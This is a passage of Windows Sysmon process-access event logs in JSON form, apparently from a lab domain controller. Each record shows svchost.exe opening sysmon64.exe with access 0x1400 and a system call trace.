07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1694,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1695,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1696,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1697,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1698,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1699,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1700,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1701,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 